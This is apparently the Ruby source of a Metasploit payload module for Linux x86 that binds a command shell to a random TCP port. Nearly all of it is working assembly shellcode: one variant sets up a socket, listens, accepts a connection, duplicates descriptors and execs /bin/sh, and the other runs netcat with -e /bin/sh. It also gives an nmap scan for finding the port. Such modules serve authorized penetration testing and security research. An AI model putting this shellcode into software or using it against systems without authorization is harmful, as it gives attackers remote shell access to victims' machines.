Listen for a connection in a random port and spawn a command shell. Use nmap to discover the open port: ‘nmap -sS target -p-’.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
CachedSize = 57
include Msf::Payload::Single
include Msf::Payload::Linux
def initialize(info = {})
super(merge_info(info,
'Name' => 'Linux Command Shell, Bind TCP Random Port Inline',
'Description' => %q{
Listen for a connection in a random port and spawn a command shell.
Use nmap to discover the open port: 'nmap -sS target -p-'.
},
'Author' => ['Geyslan G. Bem <geyslan[at]gmail.com>',
'Aleh Boitsau <infosecurity[at]ya.ru>'],
'License' => BSD_LICENSE,
'References' => [ ['URL', 'https://github.com/geyslan/SLAE/blob/master/improvements/tiny_shell_bind_tcp_random_port.asm'],
['EDB', '41631'] ],
'Platform' => 'linux',
'Arch' => ARCH_X86
))
end
def generate(_opts = {})
unless self.available_space.nil? || self.available_space >= 57
payload = <<-EOS
preparation:
xor edx, edx ;zeroed edx
push edx ;push NULL into stack
push 0x68732f2f ;-le//bin//sh
push 0x6e69622f
push 0x2f656c2d
mov edi, esp ;store a pointer to -le//bin//sh into edi
push edx ;push NULL into stack
push 0x636e2f2f ;/bin//nc
push 0x6e69622f
mov ebx, esp ;store a pointer to filename (/bin//nc) into ebx
execve_call:
push edx ;push NULL into stack
push edi ;pointer to -le//bin//sh
push ebx ;pointer to filename (/bin//nc)
mov ecx, esp ;argv[]
xor eax, eax ;zeroed eax
mov al,11 ;define execve()
int 0x80 ;run syscall
EOS
else
payload = <<-EOS
; Avoiding garbage
xor ebx, ebx
mul ebx
; socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
mov al, 102 ; syscall 102 - socketcall
inc ebx ; socketcall type (sys_socket 1)
push edx ; IPPROTO_IP = 0 (int)
push ebx ; SOCK_STREAM = 1 (int)
push 2 ; AF_INET = 2 (int)
mov ecx, esp ; ptr to argument array
int 0x80 ; kernel interrupt
; int listen(int sockfd, int backlog);
; listen(sockfd, int);
; listen arguments
push edx ; put zero
push eax ; put the file descriptor returned by socket()
mov ecx, esp ; ptr to argument array
mov al, 102 ; syscall 102 - socketcall
mov bl, 4 ; socketcall type (sys_listen 4)
int 0x80 ; kernel interrupt
; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
; accept(sockfd, NULL, NULL)
mov al, 102 ; syscall 102 - socketcall
inc ebx ; socketcall type (sys_accept 5)
int 0x80 ; kernel interrupt
; int dup2(int oldfd, int newfd);
; dup2(clientfd, ...)
pop ecx ; pop the sockfd integer to use as the loop counter ecx
xchg ebx, eax ; swapping registers values to put the accepted sockfd (client) in ebx as argument in next syscall (dup2)
dup_loop:
push 63 ; syscall 63 - dup2
pop eax
int 0x80 ; kernel interrupt
dec ecx ; file descriptor and loop counter
jns dup_loop
; Finally, using execve to substitute the actual process with /bin/sh
; int execve(const char *filename, char *const argv[], char *const envp[]);
; exevcve("/bin/sh", NULL, NULL)
mov al, 11 ; execve syscall
; execve string argument
; stack already contains NULL on top
push 0x68732f2f ; "//sh"
push 0x6e69622f ; "/bin"
mov ebx, esp ; ptr to "/bin//sh" string
inc ecx ; zero to argv
; zero to envp (edx)
int 0x80
EOS
end
Metasm::Shellcode.assemble(Metasm::X86.new, payload).encode_string
end
end